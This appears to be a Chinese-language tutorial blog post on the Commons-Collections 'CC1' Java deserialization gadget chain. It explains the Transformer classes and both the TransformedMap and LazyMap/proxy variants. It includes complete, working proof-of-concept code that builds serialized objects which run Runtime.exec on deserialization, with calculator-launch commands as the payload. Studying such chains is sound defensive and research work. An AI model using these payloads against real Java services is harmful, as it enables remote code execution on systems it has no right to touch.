Java反序列化2-CommonsCollections1(CC1链)
1. Commons-Collections简介 https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md
commons-collections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。
反序列化目的: 接收任意对象执行任意方法,参数可控
2. CC1利用链
有两条利用链
AnnotationInvocationHandler.readObject->TransformedMap.checkSetValue->ChainedTransformer->InvokerTransformer.transform->Runtime.exec
AnnotationInvocationHandler.readObject->LazyMap.get->TransformedMap.checkSetValue->InvokerTransformer.transform->Runtime.exec
3. 利用条件
在JDK 8u71以前,在此改动后,AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
引用Common-Collections依赖
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
4. 相关接口和类 Transformer是⼀个接⼝,它只有⼀个待实现的⽅法transform(Object input)
1 2 3 public interface Transformer { public Object transform (Object input) ; }
我们可以简单理解一下:Transformer这个对象是一个转换器 接口,只要有类实现了这个接口,就需要实现它的方法就是转换 。即:一个类如果实现了一个接口就必须实现接口的所有方法。
InvokerTransformer是实现了Transformer 接⼝和Serializable 接口的⼀个类,这个类可以⽤来执⾏任意⽅法,InvokerTransformer.transform()是CC1的关键点。
实例化这个InvokerTransformer,需要传⼊三个参数:
⽅法名
参数类型,
传给这个函数的参数列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
InvokerTransformer实现Transformer接口的 **transform(Object input)**方法。反射来调用传进来的对象中的方法。而方法名 、参数类型 和参数列表 都是可以在构造函数初始化时传进来的,因此都是可控的。
1 2 3 new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(Runtime.getRuntime());
缺点 是:只能在本地调用 ,想要远程调用的话,构造函数中的几个参数和transform中的参数都得是用户可控。即,这个只能控制方法相关的参数、值
ConstantTransformer 是实现了Transformer 和Serializable 接口的⼀个类。
我们读这个类的名字就可以知道常量转换器 。
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
构造函数是传一个对象进去,初始化iConstant,而transform则将这个iConstant对象返回。因此可将Runtime传进去,当调用transform时返回一个Runtime对象回来,要是能将它与InvokerTransformer组合起来或许就能有意想不到的效果。而ChainedTransformer刚好有这种功能。
1 2 new ConstantTransformer (Runtime.class);
ChainedTransformer 也是实现了Transformer 和Serializable 接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
读名字就知道是一个链式转换器
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
构造函数这里传的是一个Transformer数组,而transform方法则是遍历这个数组,取出数组里的Transformer对象并调用其transform方法,返回的对象又作为下一个Transformer的transform方法中的参数被调用。
TransformedMap是实现了Serializable的类,构造函数接收Map,KeyTransformer,ValueTransformer。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
4.6 AnnotationInvocationHandler 这个类实现Serializable接口,不能直接调用这个类 ,需要通过反射的的方式加载。这个类的构造方法,接收Class和Map。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
readObject() 方法的关键是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…) 。memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
4.7 LazyMap LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
1 2 3 4 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); }
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform ,而LazyMap是在其get()方法中执行的 factory.transform() 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
在get找不到值的时候,它会调用 factory.transform() 方法去获取一个值,AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; } } }
5. 编写POC
这两条链都执行目标都是Runtime.getRuntime().exec("calc")
5.1 构建调用链 5.1.1 正常反射构造序列化 我们看一下Runtime的源码,发现是没有实现Serializable接口,说明不可以被序列化:
我们要如何让其被序列化:
我们只需要让它变成Class对象即可。
1 Class<Runtime> clazz = Runtime.class;
要它执行全部操作,就需要通过反射。
1 2 3 4 5 Class<Runtime> clazz = Runtime.class; Method clazzMethod = clazz.getMethod("getRuntime" , null ); Runtime runtime = (Runtime) clazzMethod.invoke(null , null ); Method exec = clazz.getMethod("exec" , String.class); exec.invoke(runtime, "calc" );
1 2 3 4 5 6 Method method = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(method);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime);
1 2 3 4 5 6 7 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform(Runtime.class);
1 2 3 4 5 6 7 8 9 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform(null );
5.1.5 思考 但是我们在反序列化过程中,是不会手工去调用Transformer.transform()方法的,所以我们要找transform()被哪些类调用了,直到找到带有readObject() 方法的类。注意:在第一步就需要将所有源码包导入
1 2 3 4 5 6 7 8 9 10 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
实现了Serializable接口
在方法中调用了transform()
重写了readObject() 方法
5.2.3 寻找在readObject()中调用setValue()的类 继续在找调用setValue()的地方。最好是readObject()直接调用。AnnotationInvocationHandler的readObject()刚好符合条件。
5.2.4 调用AnnotationInvocationHandler
因为AnnotationInvocationHandler不能被实例化,所以只能通过反射实例化这个对象
1 2 3 4 5 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap);
5.2.5 完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers);Map map = new HashMap ();map.put("value" , "Roderick" ); Map tmap = TransformedMap.decorate(map, null , transformerChain);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap);ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("outCC1.bin" ));oos.writeObject(o); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("outCC1.bin" ));ois.readObject();
5.2.6 调试分析反序列化流程
从反序列化开始的readObject()开始调试。
在Gadget链上的每个关键点都下一个断点,调试看反序列化流程:
首先断在了AnnotationInvocationHandler 类的readObjetc() 方法上,继续往下走会发现走的是AbstractInputCheckedMapDecorator 的setValue() 。
然后到了TransformedMap类的checkSetValue()方法。
最后到InvokerTransformer的transform()将Runtime.getRuntime().exec("calc")调用。
5.2.7 正向分析流程
我们知道使用Transformer 的核心是通过transform() 调用
我们从InvokerTransformer类中找到transform() 方法
寻找有哪些类调用了transform() 方法,目前只关注这条链应该的分析路径
发现这条链调用的checkSetValue()方法调用了transform()方法
再寻找哪些类的方法中调用了checkSetValue(),发现AbstractInputCheckedMapDecorator类中的setValue()方法中有用到
发现TransformerMap 是AbstractInputCheckedMapDecorator的子类,所以调用的也相当于是TransformerMap的。
我们再寻找哪个类的方法中有调用setvalue()方法
发现反序列化的标志:
然后发现实现了序列化接口Serializable
至此找到一条反序列化调用链,但是最终的AnnnotationInvocationHandler是操作注解的一个类(注解动态代理处理器 ),我们可以从部分代码中可以直接解读到
1 AnnotationType annotationType = AnnotationType.getInstance(type);
所以我们在HashMap调用的时候要使用的Key 是注解的参数”value “。
5.3 第二条链LazyMap
这里我们假设不知道他的调用链关系,先用正向来推测一下LazyMap的调用链,已知由Lazymap调用链引发。
5.3.1 正向分析流程
正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKey、transformValue、checkSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。
第一步从InvokerTransform 类的transform() 开始,全局搜索调用方法名为transform()的类方法
进入LazyMap类的get()方法查看,看到了transform()的调用
然后我们直接搜索get()方法在哪里调用,用于get()方法实在使用宽泛,我们就需要对get()审计时限制条件:
有一个参数可控(Object或者是泛型)的key
调用类要实现Serializable接口
调用类要重写反序列化所需的readObject(),并在其中调用get()方法
结果有5000多条数据,我们根据要求审查符合该要求的类:
可以直接进入该类搜索文件内容:
最终搜索到AnnotationInvocationhandler (看了几百条还没审查到该对象,直接来到这里看一下)
最终好像在这里调用get()(其实不是),其实在AnnotationInvocationHandler 类的invoke 方法中调用了get 方法 :
5.3.2 尝试POC
发现不能new这个对象,那我们去它源码读一下:
发现也是通过decorate()方法new LazyMap()的,开始写:
发现有两个类型参数:
一个是Factory , 一个是Transformer
我们用的是Transformer ,把ChainedTransformer链传进去。
1 Map lazyMap = LazyMap.decorate(map, transformerChain);
然后构造AnnontationInvocationHandler 对象,也不能被new ,需要通过反射获取:
1 2 3 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); Object o = declaredConstructor.newInstance(Target.class, lazyMap);
这样写测试一下,发现有报错:
所以需要设置一下:
1 2 3 4 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, lazyMap);
但是运行完成后没有弹计算器,进入调试一下:
发现对memberValues()的迭代操作完全没有做,所以后面hasNext()就不执行了:
所以不在这个get()中,经查阅资料,Map接口里 没有具体的entrySet()实现,所以这里的entrySet() 具体实现由代理类来完成 .
1 2 3 InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
5.3.3 完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "Roderick" ); Map tmap = LazyMap.decorate(map, transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("outCC1.bin" )); oos.writeObject(handler); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("outCC1.bin" )); ois.readObject();
5.3.2 反向分析流程 正向过程中带有猜测,幸运的是有前人栽树,让我们了解可以通过动态代理来解决问题,但还有一些迷惑之处就通过调试代码,来拨开谜团。